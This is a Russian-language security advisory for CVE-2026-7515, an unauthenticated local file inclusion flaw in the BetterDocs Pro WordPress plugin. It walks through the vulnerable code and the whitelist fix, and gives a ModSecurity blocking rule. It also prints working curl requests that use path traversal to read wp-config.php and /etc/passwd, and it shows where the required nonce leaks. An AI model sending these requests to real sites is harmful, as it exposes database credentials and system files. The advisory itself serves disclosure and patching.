
Неаутентифицированное включение локального файла
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-7515 |
| Оценка CVSS | 9.8 (Критическая) |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронуты | BetterDocs Pro <= 3.8.0 |
| Исправлено | 3.8.1 |
| Исследователь | Nguyen Ngoc Duc (duc193) |
| Опубликовано | 18 июня 2026 |
| CWE | CWE-98: Некорректный контроль имени файла в операторах include/require |
Плагин BetterDocs Pro для WordPress уязвим к локальному включению файлов в версиях до 3.8.0 включительно через параметр doc_style. Это позволяет неаутентифицированным атакующим включать и выполнять произвольные PHP-файлы на сервере.
Файл: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Строка: 141
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
Проблема: Ввод из $_POST['doc_style'], контролируемый пользователем, напрямую используется без какой-либо проверки.
Файл: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Строка: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
Проблема: Переменная $doc_style (контролируемая пользователем) напрямую подставляется в путь к файлу, передаваемый в views->get(), который включает этот файл.
HTTP POST запрос
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
ОТСУТСТВИЕ ПРОВЕРКИ (уязвимая версия 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
Включение файла через include() или require()
↓
Произвольное выполнение PHP-кода / чтение файлов
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
| Аспект | Уязвимая (3.8.0) | Исправленная (3.8.1) |
|---|---|---|
| Проверка | Отсутствует | Белый список через in_array() |
| Допустимые значения | Любая строка | Только doc-grid, doc-list, doc-list-2 |
| Проверка типа | Нет | Строгое сравнение (===) |
Оба эндпоинта регистрируются с хуками nopriv, то есть доступны неаутентифицированным пользователям:
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce (находится в исходном коде страниц с блоком BetterDocs Encyclopedia)# Шаг 1: Чтение wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Шаг 2: Чтение /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
encyclopedia_nonce раскрывается в JavaScript на страницах, где отображается блок BetterDocs Encyclopedia:
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- Это то, что вам нужно
};
| Тип воздействия | Серьезность | Описание |
|---|---|---|
| Конфиденциальность | ВЫСОКАЯ | Чтение произвольных файлов (wp-config.php, /etc/passwd и т.д.) |
| Целостность | ВЫСОКАЯ | Изменение или удаление файлов |
| Доступность | ВЫСОКАЯ | Отказ в обслуживании |
| Вектор доступа | Сеть | Эксплуатируется удаленно |
| Привилегии | Нет | Аутентификация не требуется |
| Взаимодействие пользователя | Нет | Не требуется |
Обновитесь до версии BetterDocs Pro 3.8.1 или новее
Примените следующий патч к includes/Core/Encyclopedia.php:
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Примените то же исправление к строке 236.
Добавьте правило для блокировки обхода пути в параметре doc_style:
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'Попытка LFI заблокирована'"
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version: betterdocs-pro_3.9.0.zip
Key Files:
- includes/Core/Encyclopedia.php (УЯЗВИМО)
- includes/Core/Scripts.php (Содержит генерацию nonce)
- includes/Utils/Views.php (Логика включения файлов)